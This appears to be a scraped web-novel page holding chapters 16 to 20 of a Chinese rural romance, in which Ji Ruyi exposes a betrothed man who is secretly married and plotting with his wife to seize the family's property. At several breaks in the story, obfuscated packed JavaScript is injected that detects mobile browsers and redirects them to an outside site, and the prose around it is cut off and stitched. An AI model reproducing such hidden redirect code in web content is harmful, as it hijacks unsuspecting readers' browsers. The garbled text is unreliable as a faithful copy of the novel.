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有其他的鸡过来争食吃，吉如意将它们撵走，没让吃，直等到老抱子吃完又回了窝，才让那些鸡吃食。 吉如意又用锹将鸡粪铲出来，挑到房西沤肥，留着以后上到地里。 现在天气炎热，蚊虫很多。他又在房西，鸡架，院子里各点了一把艾蒿驱除蚊虫。 艾蒿在山上随处可见，村里家家户户都用它驱除蚊虫。 吉如意家里只有几只鸡，院子又勤收拾，并不怎么招蚊虫。 做完这些后，吉如意乱糟糟的心情逐渐平复下来，正打算回房继续绣婚服。忽然一个六七岁的小哥儿从院门跑了进来：“如意哥哥。” 这是村里的孩子，吉如意认得他：“怎么了？” “你出来一下。” “去哪？” “就是出来一下。” 小哥儿过来拽吉如意的手，想将他拽出去。 吉如意跟着他走：“你娘找我？” 小哥儿没说话，吉如意只当是自己猜中，跟着他出了院门。 之前小哥儿的娘也曾有事求过吉如意，因此他并未多想。 小哥儿家距离村口比较近，吉如意跟着他走了一段路，远远的就瞧见梁满仓和一个年轻的女人在一起！ 16. 第十六章 俩人离得极近，嘀嘀咕咕不知在说什么。 吉如意怒意上头，刚想大喝一声，忽然想到不要打草惊蛇，便轻手蹑脚地往那边走。 梁满仓万万没想到刘雅芬会来找他，好在刚一进村就被他看到了。 梁满仓敢怒不敢言：“你怎么来了？不是说好了在家里等我吗？” 刘雅芬白眼仁多黑眼仁少，一双眼睛滴溜溜在梁满仓身上来回打量。穿着的衣服已经不是家里的那套了，虽说不是很新，但没有补丁。脸色不像以前那般灰扑扑的，脸颊的肉也多了。 “不是你让我来的吗？” “我什么时候让你来了。” “没有吗？” “当然没有，你快先回去，别在这个节骨眼上出事。” 刘雅芬想了一下村里人和她说的话，说是在平安镇看到了梁满仓，一个劲地喊她的名字呢。好像确实没说梁满仓叫她来，具体怎么说的来着，她也忘了。 “没有就没有吧，”刘雅芬似笑非笑，“我看你过得不错啊？” 梁满仓干巴巴笑了几声：“那你就先回去吧，别叫人瞧见了。” “得咧，我这就走。”刘雅芬收起那副似笑非笑的面容刚要走，忽然又想到了什么，“吉家有没有给你银子？” 梁满仓摇头：“还没成亲呢，怎么可能给我银子。” 刘雅芬有些失望，算算日子也没差几天了，也就不急于这一时。 梁满仓做贼心虚，生怕被人瞧见，左顾右盼的，正好瞧见了吉如意往这边来，当下惊出了一身冷汗：“意哥儿来了。” 刘雅芬微微眯眼：“那就是意哥儿，长得真标致。” 梁满仓用袖子擦擦汗：“怎么办？” “怕什么，瞧你那怂样。”刘雅芬一脸不屑。 正打算偷偷摸摸听他们说什么，并逮人的吉如意见自己被发现了，索性往前快走了几步。 刘雅芬满脸带笑的迎了上去：“你就是意哥儿吧，刚听梁大哥说起了你。听说你们马上要成亲了，恭喜恭喜啊。” 吉如意看看刘雅芬又看看梁满仓：“你是？” “我哥和梁大哥是一起打短工认识的，”刘雅芬编瞎话不眨眼，“他没时间来，让我过来问问梁大哥。最近几天有份好活，也就干三四天，每天就能拿五十文，想问问梁大哥去不去。” 距离二人成亲的日子只剩下五日，刘雅芬故意这么说，就是认准了没有人在快成亲的时候还出去做工。 吉如意笑道：“难为你大哥还想着我们，还麻烦你回去告诉你大哥，满仓明天就去。” 啊？ 梁满仓和刘雅芬相互对视一眼，谁都没想到吉如意会这么说。 梁满仓一脸呆滞：“咱们的婚期不是快到了吗？” 吉如意走到梁满仓身边压低声音说道：“一天五十文，这价钱不错，你不是说之前一天也就三四十文吗？去干几天也不耽误成亲。” “可是……” “哪有什么可是，你听我的准没错。短工招的少，干的人又多。咱们庄户人家进项还少，有这么好的机会不去干，不是傻子吗？” “我身上的伤还没好呢。” “咱们庄户人家哪有那么矫情，身上有个病有个伤的就不干活了？大伯说你的都是皮肉伤，没有伤筋动骨，不碍事的。再说我看你刚才的腿脚挺快的，看样子应该没什么事的。” “……” “你也别说我不心疼你，我这也是为了咱们以后。花一文钱容易，赚一文钱难得很。在家里待着的时间多的是，做短工的机会可不常有，你之前不是还说过短工不好找的吗？” “……” 梁满仓偷偷地朝刘雅芬摆手，那意思是叫她救他。 刘雅芬会错了意，以为是叫她快走，怕吉如意看出破绽来。忙说道：“话我已经带到了，要是去的话明天准时到，别晚了啊，我先回去了。” 梁满仓无法，打算回古榆村住上几日，等成亲那日再回来。 刚出了村子，就见到了霍云铮。 “梁兄。”霍云铮主动打着招呼。 梁满仓无精打采，在吉家每日有人好吃好喝的伺候着，回家要面对那个母老虎，他才不想回去呢。但不回去，这几天也没地方住。 “梁兄去哪儿啊？”霍云铮的心情似乎很好。 “去平安镇。” “真巧，我也去，咱们一起啊。” 梁满仓想要拒绝，又说不出拒绝的话，只能跟着霍云铮一起走。一路上，霍云铮听说梁满仓要干三四天的短工，当即表示这三四天他都要去镇上，并热情地邀请梁满仓同行。 平安镇距离古榆村并不近，梁满仓若是去了平安镇，再回古榆村的话，再从古榆村回了大吉村的话，只怕一天都在路上，根本偷不到懒。 所以，梁满仓到了镇上没多久就回了大吉村，找到吉如意说主家不用人了。 吉如意细细问了几句，让梁满仓去地里干活了。 还说晚上准备酒招待他，梁满仓却说不喝了，喝完了酒身上疼。 吉如意怕梁满仓又“锄错”了地，特意当吉自强把他带去了自家地里。 回来的路上，迎面遇到了霍云铮，双方打了个招呼，便要各自离去。 霍云铮这时道：“昨日我听梁兄说他要去镇里打短工，今天怎么不去了？” 吉如意答道：“他说主家原来定十个人，后来见八个就够了，他是后去的，就不用他了。” “这样啊——”霍云铮一副恍然大悟的样子。 “霍云铮。”吉如意叫住了要走的霍云铮。 霍云铮停住脚步，静静地看着他，小哥儿微微低着头纠结的模样实在是可爱至极。 吉如意抬起头看向霍云铮：“那日你与梁满仓喝酒，他有和你说过什么吗？” “你是指……” “算了。”吉如意想自己真是疯了，就算真说些什么霍云铮也不会告诉他的，马上就要成亲了，旁人又怎么会在他面前说另一半不好的话，转而又问，“他怎么没和你一块儿回来？” 霍云铮心中暗笑，终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吉如意是个聪明人，将他说的地方暗暗记下，打算去那里问问。 吉如意道了声谢，转身就走。 “意哥儿，”霍云铮猛地转身叫过他，“其实……” 吉如意这副模样很让他心疼，有那么一瞬间，霍云铮想将他所知道的全部说出，然后压着梁满仓，带着吉家人去古榆村戳破梁满仓的谎言。可是他不能，若是梁满仓和古榆村人不承认梁满仓就是本村人怎么办？就算他们承认了，若是刘雅芬不承认她与梁满仓合谋怎么办？ 若是有人问起吉如意是怎么知道的他又该如何作答？这是一个对哥儿和姐儿都不公平的时代，就算吉如意是受害者，可若是他说出是霍云铮告知他此事的，那么，所有的流言蜚语就都会落到他的身上。一个已经定了亲的小哥儿，伙同外男捉了自己的未婚夫，怎么想都耐人寻味。 任何不确定性都不能存在，捉人捉脏，证据确凿，要让恶人翻不过身！更让所有伤害过吉如意的人都得到应有的惩罚。 17. 第十七章 吉上进这几日的情况不是很好，镇上早就没有一家大夫给看了。平时他吃的药无非是一些温补的药，图一个心理安慰。 姜临叫吉如意到镇上去抓药。 回屋拿银子却迟迟没有出来，吉如意走进去的时候，就见姜临直愣愣的盯着手里的钱袋瞧，听到声音抬起头来，眼眶微微发红。本想着剩下的这点儿银子能够再支撑一段时间，可吉上进的病突然恶化，怕是要再加上几味贵一些的药，这样银子就不够用了。 “我再去找你大伯借些银子。” “小爹爹，别去了。”吉如意从姜临的手里拿过钱袋子，“这些足够给大爹爹抓药了。” “可你的婚宴怎么办？”姜临一脸哀愁，“总不能没有肉。”青菜可以吃自家院子种的，但肉呢？肉怎么办？婚宴没有肉，那是会被村里人笑话的，从年头说到年尾都不带重样的。 “大伯家的日子也不好过，之前都借过咱们许多了，只怕也是没有了。”吉如意轻轻揽着姜临，安慰着他，“只是婚宴而已，旁人愿意说什么就说什么，咱们门一关也听不到。” “可是……”他和吉上进只有吉如意这么一个宝贝儿子，自然舍不得儿子受委屈。 “你之前不是还说过以前日子穷，有的人家连婚宴都没有，将人直接接了回来就过日子的吗，现在人家的日子过得不是也很好吗？” “真是苦了你了。” 姜临的声音有些许的哽咽。 “小爹爹不要这么想，你和大爹爹抚养我长大已经很不容易了。从小到大我也没受过什么委屈，现在只是酒席上没有肉而已，这算不得什么大事的。到时咱们多做几个素菜，做得好吃一些，不比肉菜差。有些人就算是肉都做不好呢，做出来一股子的腥味。” “可满仓能同意吗？” 他不想因为这事让小两口发生龃龉。 “我去和他说，他会理解的。” 吉如意如此开解他，姜临的心里终于好受了些，将所有的铜板都给了他，嘱咐他早去早回。 为了省些银子，吉如意没坐牛车，走着去的平安镇。 抓药的时候，他顺便向伙计打听了柳花巷在哪里。 伙计上下打量了他好几眼，轻轻叹了口气：“就算是缺银子，也别去那种地方，一旦去了，这辈子可就完了。” 他见过太多人因为这样的原因走投无路，甘愿卖身。眼前的小哥儿一双小鹿眼，水灵灵的望着他，模样俊俏，是他见过最好看的人，不免动了恻隐之心规劝道。 “我是去那里找人的。” 伙计一听他不是去卖身的，放下心来。是哪个不知足的汉子放着这么标致的美人不要，偏偏喜欢去哪种地方，再看吉如意时多了几分同情。 “那种地方不是你一个小哥儿能去的，要是碰到那丧心病狂的，只怕你有去无回。”伙计好心劝他，“你要真想找人，不如回家叫上你家的汉子来。” “所以……”吉如意的心一点点往下沉，“那里是那种地方？” 伙计心觉残忍，但也不得不说出实话：“对。” 吉如意失魂落魄地往家走，微风拂过脸颊，一片冰凉。 小爹爹说过，黄和赌一样都不能沾。一旦沾了，这个人就完了，还会拖累得整个家庭都完了。 招一个这样的人入赘，和引狼入室又有什么区别？ 可大爹爹又是现在这种情况，那边的亲戚对家产虎视眈眈，这边的梁满仓只怕也在算计他们的家产。 左右为难。 总归是要有证据的，可能他并没有去，只是喝多了没找回来呢？吉如意存在一丝侥幸，他一个小哥儿不方便去柳花巷，很有可能像药房伙计说的那般一去不回了。此事也万万不可叫家里人知道，那么，谁能帮他去办这事呢？ 一个人突然浮现在脑海中——霍云铮。 简直没有比他更适合的了，他是个汉子，这事他又知道。 吉如意想到此处，急急忙忙往家赶。 吉如意想着霍云铮必是上了山，便带着背篓，一边挖野菜，一边到出山口处等他。 果不其然，没过多久就见霍云铮手里拿着三条鱼，每条估计都有两三斤重。 霍云铮是到山上看他的那些陷阱去了，陷阱里空空如也，没有刚开始那般幸运。于是，他便到河里捞了几条鱼。本打算送到吉家，叫吉如意做了，没想到却在这里遇到了。 吉如意见他来了，心中一喜：“我有事求你。” 霍云铮听到吉如意是特意等他的，更是高兴：“请说。” 吉如意便将自己所托之事说了一遍，生怕霍云铮不答应，忙说道：“我给你一百文。”一百文已经很多了，去镇上要打三天的短工才能赚回来。当然，对于猎户来说，似乎是有些少。 “可是我现在没有银子，先欠着，”吉如意咬了一下唇，一双眼里似乎蕴着一汪清泉，“行吗？我保证最迟秋收就还。”等到秋收了，手里便会有些银子了。 “行。”霍云铮答应得很痛快，心说我不要你的银子，我要你的人。 他又提起手里的鱼：“在河里捞了三条鱼，正好要送到你家去。” “还是三道鳞，这鱼好，刺少肉多。”吉如意也很久没吃鱼了，以前吉上进会去河里抓，他病了以后就没人去抓了。 “那你先走，等会儿我再走。” 吉如意知道他是怕村里人瞧见他们俩在一起惹人说闲话，便叫他先走了。 心中一阵熨帖，不禁多想，霍云铮其实是个极好的招赘人选，但那样的人，势必是有骨气的，又怎会甘愿入赘？ 吉如意回到家许久，霍云铮才提着鱼过来，将鱼给了姜临便回去等了，说一会儿再过来。 农家的锅都大，做三条鱼完全能放得下。 吉如意起锅烧鱼，今天有鱼吃，只再用胡瓜拌个凉菜就好。 “小爹爹，这鱼给大爹爹吃吗？” 大夫曾经说过，辛辣和鱼之类的都不能给吉上进吃。 姜临望了一眼屋里，表情有些难过：“吃吧。” 吉上进也好久没吃鱼了，不知他还能挺多长时间，让他多吃些好的。 吉如意擦擦眼角的泪，没再说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人将目光都聚集在了埋头苦炫的霍云铮身上，霍云铮被他们看的终于舍得将脸从饭碗中太起来：“都看我干什么？” 余小山道：“她不会看上云铮哥了吧？” 霍秀兰：“正是，她来就是想向我探探口风，如果云铮同意的话，就找个媒婆过去提亲。” 霍云铮连连拒绝：“别别别，大姑你可千万别。” “既然你这么说，那我一会儿就回她。”霍秀兰说道，“你也别嫌我多管闲事，你的年纪也已老大不小，我像你这么大的时候都已经有了小溪了。孙桂芳有句话说的倒是不错，等你守完了三年孝年纪也就太大了，怕是到时更不好找。不如趁着还没满百天，找一个满意的定下来。除了孙桂芳，这几日来找我探听消息的有很多，只不过没有她那么直白罢了，咱们家云铮娶亲不愁。” 霍云铮一想，也该告诉他们了：“那你们快些准备准备，我快要成亲了。” 18. 第十九章 霍秀兰差点儿被鱼刺扎了嗓子，余家人你看看我，我看看你，一时不知霍云铮说的是真话还是假话。 霍秀兰认真地问：“真要成亲了？” “是啊。”霍云铮认真的表情不似开玩笑。 “是谁家的哥儿还是姐儿啊？”霍秀兰怕霍云铮失忆忘了成亲该有的礼数，“我去找个媒婆上门提亲。” “现在还为时过早。”吉如意那边还没退亲呢，“不过也快了，只需再等上几日。” 霍秀兰和余禾对视一眼：“那是谁家的？咱们村里的吗？” “是个哥儿，是我见过最好的人。家里人也好，没有什么乱遭的事。” 霍秀兰见霍云铮不肯再说了，虽心中好奇，但也没有再继续问下去，左右霍云铮说了，用不了几日，她相信霍云铮的眼光。 霍秀兰问：“那再有人来打探——” “都拒了吧，”霍云铮想了想又说道，“如果有好的倒是可以考虑考虑小山，大姑你不是说小山也到了该相看的年龄了吗？” 霍秀兰笑得合不拢嘴，果然没白疼他，心里还想着他们家呢。 天色渐黑，吉如意来到鸡架门前，借着微弱的亮光将鸡数了一遍，确定都回来后，将鸡架门关上。 “汪汪——” “汪汪汪汪汪——” 外面传来几声狗叫，吉如意惊喜万分：“大黑！是不是大黑回来了！” 他欢天喜地地跑出去一看，不是大黑，是霍云铮。 “什么大黑？”霍云铮问。 “没，没什么。”吉如意有些不好意思，万万不能叫他知道。 霍云铮怕有人来，也不多说废话，忙将他早已探听到的消息尽数说给了吉如意听。 梁满仓果然是柳花巷里的常客，里面有很多人都认识他。 吉如意脸上的血色一点点褪去，纵然已经做好了心理准备，可听到这样的结果，还是很难过很难过。 “如果要他们来村里作证的话，是需要不少银子的吧？”吉如意强忍住夺眶而出的眼泪。 霍云铮很是心疼：“是。” “可就算我有银子又有什么用呢？”吉如意似乎是在喃喃自语，又似乎是在说给霍云铮听，“把他们叫来指认，梁满仓不承认怎么办？世人对待汉子都比较宽容，就算他去妓馆，只怕也有人会劝我，那都是婚前的事了，只要婚后再也不去就好了。可是我……接受不了。” 月亮已逐渐偏圆，皎洁的月光下，小哥儿泫然欲泣，那悲伤的表情像被锥子锥了一样疼。 他强忍住没有将他拥入怀中的冲动：“意哥儿……你可以看看我。” 他还是没有忍住，将这话提前说了出来。 吉如意沉浸在自己的思绪中没有听到霍云铮的话，他心里很乱，像麻线似的揪成一团，捋不顺，剪不开。 “对，对了，那天早上来了一个女人找梁满仓，”他终于找到了那根线头，“她的身份肯定不是她说的那样，但看起来不像是妓馆里的人，她肯定与梁满仓有关系。” “她叫刘雅芬，在古榆村住。”此时的霍云铮早已失去了一贯的理智，听到吉如意这样说，就将自己知道的全盘托出。不过，他没有说出二人之间的关系，怕吉如意知道这些消息承受不住。 吉如意迅速做出决定：“我要去古榆村找她，就说梁满仓想她了，让她在山上见面。”对于刘雅芬来了以后，该怎么做，吉如意已经想好了。 霍云铮道：“还是我去吧，她认识你的，你这么说恐怕不行。” 吉如意道：“我不露面，花些铜板找他们村里的人帮我传个话。” 霍云铮连连点头，合该他们做夫夫，那天他也是用了这个法子把刘雅芬骗过来的。 “还是我去吧，”霍云铮拍着胸脯保证，“包在我身上。” 说着，没有再过多的停留。现在天虽然黑了，但也保不住会有人来，被旁人瞧见他们在这里就不好了。 吉如意整晚没睡，一会儿想吉上进的病情，一会儿想梁满仓的事情。 姜临早上看到他的样子倒是吓了一跳，倒没往梁满仓那方面想，只以为他在忧心吉上进的病情。 姜临安慰了几句又问他的婚服怎么还没绣好？ 吉如意搪塞了几句，说一会儿就绣。婚服其实快绣好了，只差个尾巴就结束了。 收拾完以后，吉如意强忍着躁动不安的心，绣起了婚服。 当最后一针结束时，霍云铮找来了。 “刘雅芬这两天没空，说是十五那天会来。” 那不是在婚礼的前一日？ 这…… 有些路程远、或者关系好的亲戚会在婚期的头一两天就来，既表示着对主家的重视，也能帮着干些活。 吉如意本来打算在亲戚到来之前解决此事，可现在看来是不成了。不过，人都来了也好，也让他们都瞧瞧，错在谁身上，免得有人拿他退婚一事说三道四的。 吉如意打定了主意，心里一点一点平静下来。这种垃圾人，不值得他伤心。 霍云铮往余家走的时候，迎面碰上了孙桂芳和一个年轻的小哥儿。 “婶子好。”霍云铮打过招呼正准备走。 孙桂芳叫住他：“小霍，这是我家的云哥儿。” 云哥儿普通人长相，不丑，也不是什么美人。 霍云铮又道：“云哥儿好。” 又要往前走，孙桂芳又叫住他：“小霍，你没有什么想说的吗？” 霍云铮一脸的莫名其妙：“婶子是指？” 孙桂芳将云哥儿往前一推：“我家云哥儿不错吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396404|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>霍云铮岂有不明白的道理：“婶子，我大姑没去找你吗？” 霍秀兰当然去找她了，但她想准是霍云铮没见过云哥儿，所以才拒绝。要是他见过了云哥儿，准不会拒绝的。自家哥儿什么样，她还是很有自信的，所以才想带着云哥儿让霍云铮瞧瞧，只要霍云铮见着了，她看不信他不动心。 再村里，他们家的日子过得很不错，多少人想和他们家接亲呢。 霍云铮不欲与她多纠缠，迈开长腿就走。 *** 七月十四，吉如意嫁到外村的三姑和四伯带着家里人和孩子都来了。 七月十五，吉如意的两个舅舅全家也来了。 吉家一下子热闹了起来。 刚过巳时，吉如意找了个借口从家里出来，悄悄埋伏在了去往山上的必经之路。 没过多久，就见梁满仓与刘雅芬一前一后鬼鬼祟祟上了山。 吉如意偷偷跟了上去，又不敢跟得太近，霍云铮又不远不近地跟在吉如意身后。 最前面的那俩人做贼心虚，经常往后面张望，甚至还回来特意看了看。 吓得吉如意急忙躲进旁边的树后，过了好长时间才赶出来。 可再出来寻他们时，俩人已不见了踪迹。 偌大的山，想藏住两个人非常容易。吉如意找了好半天，就在以为找不到的时候，忽然听到了不远处传来有人说话的声音。 他心中一喜，蹑手蹑脚地走过去。就听刘雅芬说道：“等吉家的那个老不死的一蹬腿，你就把家产夺过来。” 吉如意气得恨不得冲过去，他用力地咬紧下唇忍下了。 “我早就想回家了，金窝银窝不如自己的狗窝。”梁满仓说道。 “你真这么想？” “这是自然。” “我看那小哥儿长得好看的很，你到时候可别有了他，就嫌弃我了。” “怎么可能，咱们俩早就是夫妻了，他就是个妾。到时候让他伺候咱们俩，咱们也尝尝有下人伺候的滋味。” “我让他给我洗脚，你也舍得？” “有什么舍不得的？你看哪个主人对待仆人舍不得了。” “哼，这还差不多。” 吉如意听到这里，还有什么不明白的。这对狗男女不知道从哪里得知了他招婿的消息，便合谋编了个谎让梁满仓到吉家入赘，图谋他的家产。 吉如意遍体生寒，好毒的一对夫妻，幸好他及时发现了他们的阴谋。他悄悄地立直了些身子往上看，见只见俩白花花的身子纠缠在一起。吉如意又怒又羞，气得狠狠地薅了一把身边的草。片刻后，他又环顾四周，见不远处的草丛上散落着几件衣服，他猫着腰跑出去，将衣服抱在怀里，朝着下山的路飞快地跑了。 他要回村找人过来，抓住这俩人！ 19. 第十九章 吉如意将刘雅芬引到这里来，就是为了捉奸这二人。 他没有能掐会算的本事，可他了解梁满仓。那样一个淫.棍，憋了许久，到了没人的山上，只怕不做点儿什么都很难。 吉如意一口气跑出很远，胸腔像炸开一般的疼。他停下来大口大口的喘气，缓过来后，被他硬生生压在心底下的那些苦涩、委屈、迷茫终于在这一刻再也关不住，全都倾巢而出。 起初，他还很小声的啜泣，后来，再也忍不住地放声大哭。 他边走边哭，脚下的步伐很快，生怕梁满仓他们追上来。 “汪汪——汪汪——” 吉如意忙擦擦脸：“霍云铮？” 一条大黑狗从一旁窜了出来，伸着舌头热情地舔舐着吉如意的脸。 吉如意从巨大的悲伤中迅速抽离出来，继而被巨大的惊喜所淹没。 “大黑！大黑你没死！你去哪儿了？我找你找了好久。” 他甚至都曾怀疑过，大黑是不是偷着被梁满仓吃了。大黑的尾巴差点儿摇断，围绕着吉如意上蹿下跳，十分热情。 吉如意仔细将它看了一遍，除了比在家里瘦了些以外，没有受伤。 吉如意这才放了心，又想到自己还有重要的事情要做。让它安稳下来，他双手端着大黑的狗头，与它对视：“大黑，从你走后家里发生了很多事情，等以后有时间了我再和你细说。我现在要去办一件很重要很重要的事情，你闻闻这两件衣服，记住这个味道，去找这两个人，帮我看住他们。” 说着，他将衣服放在大黑鼻子下面，让它仔细嗅嗅。 大黑看到他脸上的泪珠，眼睛里满是悲伤，用舌头轻轻舔舐了一下，歪着头轻轻叫了声：“汪？” 吉如意用胳膊狠狠擦了一下脸，笑道：“我才不哭呢，没什么好哭的。把你找回来了，这是最大的喜事。咱们分头行动，我先走了，记住我说的话。” 大黑又汪了一声，撒开四条腿朝着吉如意刚才的方向飞快跑去，很快不见了踪影。 吉如意急急忙忙往村里赶，一把推开吉勤奋家大门：“大伯——大哥——二哥——” 吉勤奋他们听到吉如意撕心裂肺的喊声急急忙忙出来。 “怎么了，意哥儿？” “梁满仓他……我看到他和一个姐儿在山上……”吉如意将衣服拿出来，不用再说多余的话，大家全都明白了，“你们快跟我上山！” 吉勤奋呆愣住了，还在消化吉如意说的话。 吉自强爆了声粗口，一脚踹翻了旁边的簸箕，抄起铁锹就往外冲：“走，上山！老二，你多叫几个人，再把村长叫上。” 吉勤奋终于回过神来，当即气得脸红脖子粗。 “这个畜生！” 他自认梁满仓住自己这里这么长时间，一直拿他当亲儿子看待，怎么能做出这种事情！ 又气又愤，抄起烧火棍子就往外冲。 吉如意拦住他道：“我爹他们还不知道这事，大伯你先去我家，那边还需要你来维持，这事先不要让我大爹爹知道。” 吉勤奋气得胸膛剧烈起伏着，最终还是扔掉了棍子，重重地叹了口气，去了吉上进家。 吉自立拿着锄头和吉自强去了吉有志、吉庆丰，村长，其他吉姓亲戚，与他们交好的人家里去叫人。 二三十个汉子，个个手里拿着家伙什，朝着山上浩浩荡荡地走去。 村长问：“意哥儿啊，一来一回这么长时间了，他们俩不能跑了吧？” 吉如意将衣服拿给村长看：“不能，他们俩没衣服。” 村长一怔，放下心来，这小哥儿看起来一副柔弱样，却是个胆大心细的。 一众人骂骂咧咧地往前走，后面有人喊着吉如意的名字。 原来是吉如意的两个舅舅追过来了，吉勤奋到了吉上进家里脸色很难看，没忍住将事情的经过告诉了吉如意的两个舅舅，他们听完，急急忙忙赶过来帮忙。 又往前走了一会儿，吉如意忽然道：“你们听，是不是有什么声音？” “什么声音，我怎么没听到？”吉自强说道。 “仔细听。” 众人不走了，全都停下来仔细听。 “咱们山上没有野人吧？”有人说道。 “什么野人？咱们这哪来的野人。” “你们看那是什么？那俩人没穿衣服，一边跑一边叫的，不是野人是什么？” 吉自强定睛一看，气不打一处来：“那不是野人，是那对狗男女！” 吉如意忙慌别过脸去，看见了长鸡眼。 “他们俩玩的这么野吗？”又有人说道，就算山里没人也不能光着身子满山跑啊。 紧接着，一条黑的发亮的狗，一边吼叫着，一边在后面着。 看得出来，大黑根本没有用劲全力去追，就跟逗他们俩玩似的，不远不近地追在后面，一旦看到他们俩跑慢了，它就会汪汪几声，看得大家都乐了。 “大黑！”吉如意高声喊道。 大黑听到喊声，又撒丫子跑过来，疯狂地摇着尾巴，喉咙里发出嘤嘤嘤的声音，一副求表扬的样子。 吉自强和吉自立纳闷：“大黑不是丢了吗？” 吉如意道：“我也不知道是怎么回事。” “真是条好狗。”众人纷纷夸赞着。 吉如意将衣服给了大黑，让它叼着，去给那俩人送去。 考虑到刘雅芬是个姐儿，吉如意将她的衣服都还了，梁满仓只还了条里裤，让他遮羞。 大黑快跑几步，将衣服放在他俩面前，而后头也不回地跑到吉如意面前邀功去了。 刘雅芬躲在树后面，梁满仓将她的衣服拿过来，到树后穿了。 完了，这下全完了！ 吉如意约摸着他们已经穿完了，带着众人过来了。 俩人吓得两股战战，躲在树后不肯出来。 吉家兄弟一拥而上，将梁满仓一顿胖揍，最后还是村长怕闹出人命，制止了他们继续揍下去。 刘雅芬吓得魂飞魄散，好在大家看在她是个姐儿的面子上，没有揍她。 “小霍，你什么时候来的？”吉自强惊讶地发现霍云铮不知什么时候过来的。 霍云铮一直在山上看着他们俩呢，就怕他们跑了。没想到吉如意走了没多久，就来了一条油光锃亮的大黑狗。大黑起初老老实实地守着，后来不知怎么的，突然追起他们来了，他可着实看了一出好戏。 霍云铮说道：“一早就来了，在后边跟着来着。” 刚才大家打梁满仓的时候，他也跟着狠狠地踹了几脚。 霍云铮如此说，大家也就信了他的话。 吉自强气得一把将梁满仓薅过来：“你竟然敢这么对待意哥儿！快说，你和她是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396405|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么回事。” 霍云铮怕梁满仓不肯说实话，跟着说道：“在外苟合是要浸猪笼的。” “不是苟合，不是，别浸猪笼。”事到如今，梁满仓哪里敢不说实话，急急忙忙将所有的事情全盘托出，“她叫刘雅芬，我们俩在古榆村住，是拜过堂的夫妻。” “什么！你竟然成过亲！”吉自强没忍住，狠狠甩了梁满仓一巴掌，当即打的他吐出一口血来。 他再要动手时，被村长拉住：“先让他说完。” 吉自强只得忍了下来，梁满仓继续说道：“有一次我去平安镇听说意哥儿招婿，回来就和我家娘子商量。不如由我伪装成外地人去招婿，等以后好把他们的家产夺过来。” 霍云铮没忍住，又扇了他一嘴巴，直把他打的掉了两颗牙。 他一步一步走向刘雅芬，吓得刘雅芬连连后退。 “是，是他出的主意。”刘雅芬吓得抖如筛糠，“他说吉家只这一个哥儿，性格软和，肯定好拿捏。等以后夺了他的家产，我们俩就能吃香的喝辣的了。然后让意哥儿服侍我们俩，我们不花银子，还能白得个仆人。” “啪啪”两声，吉如意冲过来甩了刘雅芬两个耳光。 刘雅芬当即哭嚎起来。 “闭嘴！”吉如意用尽了所有的力气大声喊道，他素来与人为善，长这么大别说与人打架，就是拌嘴也从未有过。今天是他平生第一次打人，实在是他们欺人太甚！ 好狠毒的计策，在场的人无不气愤，纷纷大骂着这对狗男女。 “意哥儿，我错了，我错了。”梁满仓满脸血和土混在一起，好不狼狈。 “你错了？我看你是怕了。”吉如意皱着眉说道，梁满仓这副窝囊样让他恶心至极。若是他还能再硬气些，他倒敬他是条汉子，“你还想着成亲，做梦！我要退婚！” 梁满仓急了：“明天就是咱们成亲的日子了，咱们回去成亲。” “你还想着成亲？”吉自强挡在吉如意身前护住他，“你都已经成亲了，你想让我们意哥儿做妾不成？” “我，我马上就休了她。对，现在就休了她！”梁满仓站起来，用手指着刘雅芬。 “你想休我？”刘雅芬一听这话，猛地扑过去，一双手就往梁满仓脸上抓，“这事最开始可是你想出的主意，现在事情败露了，你却还想当你的上门婿，把我休了？你想得美！我告诉你，老娘也不是那么好惹的！” 梁满仓哪能让刘雅芬这么打，当下还手，两个人打在一起。 “你跟个母老虎一样，长得又不好看，脾气太大，又不愿意干活，我当初是找不到更好的了才娶的你！”梁满仓将藏在心里多年的真心话全都说了出来，反正他现在不能两个都要了。选刘雅芬还是选吉如意，傻子才选刘雅芬。 刘雅芬更是气极：“你说这话丧不丧良心？我没干活？屋里屋外的活都是谁干的？地我没跟着你去种？饭我没给你做？屋子我没给你收拾？” 二人打做一团，众人也乐得看笑话。 吉如意却是越看越气：“大伯，快把他们来拉开。” 吉自强和几个人上前，把俩人拉开。再看梁满仓的脸上已经被刘雅芬挠得一条一条的，泛着血丝。 吉自立忒了一口：“还想和我们意哥儿成亲？做梦吧！咱们现在该怎么办？” 霍云铮道：“带着他们去古榆村讨个公道！” 20. 第二十章 